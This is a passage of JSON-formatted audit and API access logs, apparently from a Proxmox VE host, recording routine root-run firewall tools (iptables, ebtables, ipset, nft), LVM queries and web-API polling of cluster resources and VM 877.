success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965116905,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964193245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964193.245:59971): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965939844,"@rawstring":"node=pve type=EXECVE msg=audit(1781965939.844:67752): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965685915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.915:66665): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325841,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.841:60546): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965945367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.367:67782): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f5273d55740 items=0 ppid=1156 pid=65094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965116905,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964193245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964193.245:59970): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965935254,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.254:67749): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965685905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.905:66664): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325831,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.831:60545): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965945364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.364:67781): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc146fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965116905,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 891"} {"@timestamp":1781965935251,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.251:67748): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965685896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.896:66663): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325825,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.825:60544): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965945357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.357:67780): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ffa40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965115923,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965935249,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.249:67747): argc=1 a0=\"date\""} {"@timestamp":1781965685891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.891:66662): arch=c000003e syscall=59 success=yes exit=0 a0=61d33e2a1d70 a1=61d33e2adf40 a2=61d33e27b680 a3=5 items=2 ppid=64025 pid=64031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325819,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.819:60543): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965945351,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.351:67779): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fcd50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965115923,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 896"} {"@timestamp":1781965935245,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.245:67745): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965685887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.887:66661): arch=c000003e syscall=59 success=yes exit=0 a0=61d33dbb5ac8 a1=7ffc6ba49760 a2=61d33e27b680 a3=61d33db9924e items=2 ppid=64025 pid=64027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325811,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.811:60542): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965945345,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.345:67778): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147030 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965114822,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965935238,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.238:67744): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965685887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.887:66660): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc6ba49720 a1=61d33e29d410 a2=61d33e27b680 a3=5 items=2 ppid=64025 pid=64026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325800,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.800:60541): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965945338,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.338:67777): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fcd50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965114822,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 820"} {"@timestamp":1781965935231,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.231:67743): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965685883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.883:66658): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325793,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.793:60540): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965945331,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.331:67776): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4fb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65089 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965113692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965935223,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.223:67742): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965685871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.871:66657): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64024 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325787,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.787:60539): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965945324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.324:67775): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65088 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965113692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 490"} {"@timestamp":1781965935214,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.214:67741): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965685862,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.862:66656): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325783,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.783:60538): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965945316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.316:67774): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65087 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965113692,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 489"} {"@timestamp":1781965935208,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.208:67739): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965685854,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.854:66655): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64022 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325780,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.780:60537): argc=1 a0=\"date\""} {"@timestamp":1781965945312,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.312:67773): arch=c000003e syscall=59 success=yes exit=0 a0=58b6ec71fed0 a1=58b6ec71cc50 a2=58b6ec6fe680 a3=5 items=2 ppid=65080 pid=65086 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965113692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 804"} {"@timestamp":1781965935202,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.202:67738): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965685844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.844:66654): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecfd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325762,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.762:60535): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965945310,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.310:67772): arch=c000003e syscall=59 success=yes exit=0 a0=58b6e072fac8 a1=7ffc09287ad0 a2=58b6ec6fe680 a3=58b6e071324e items=2 ppid=65080 pid=65082 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965112602,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:32 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965935196,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.196:67737): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965685832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.832:66653): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd100 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325743,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.743:60534): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965945308,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.308:67771): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc09287a90 a1=58b6ec705310 a2=58b6ec6fe680 a3=5 items=2 ppid=65080 pid=65081 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965112602,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 809"} {"@timestamp":1781965935189,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.189:67736): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965684699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965684.699:66652): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcb80 a1=64f8d73b2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325736,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.736:60533): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965945304,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.304:67769): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65080 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965111366,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1119"} {"@timestamp":1781965935183,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.183:67735): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965684671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965684.671:66651): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5325bf0 a1=64f8d1551050 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325730,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.730:60532): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965945297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.297:67768): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965111366,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 788"} {"@timestamp":1781965935178,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.178:67734): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965683948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965683.948:66650): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325722,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.722:60531): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965945288,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.288:67767): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65078 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965111366,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781965935171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.171:67733): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965683940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965683.940:66647): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325715,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.715:60530): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965945283,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.283:67766): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8a70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965110366,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 491"} {"@timestamp":1781965935164,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.164:67732): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965678930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965678.930:66644): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964324677,"@rawstring":"node=pve type=EXECVE msg=audit(1781964324.677:60529): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965945276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.276:67765): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65076 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965110366,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 495"} {"@timestamp":1781965935160,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.160:67731): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965678921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965678.921:66641): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964324647,"@rawstring":"node=pve type=EXECVE msg=audit(1781964324.647:60528): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965945265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.265:67764): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e35e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65075 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965110366,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:29 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965935157,"@rawstring":"node=pve type=EXECVE msg=audit(1781965935.157:67730): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965675819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.819:66638): arch=c000003e syscall=59 success=yes exit=0 a0=5cf56d29fd30 a1=5cf56d2abb30 a2=5cf56d279680 a3=5 items=2 ppid=64003 pid=64009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 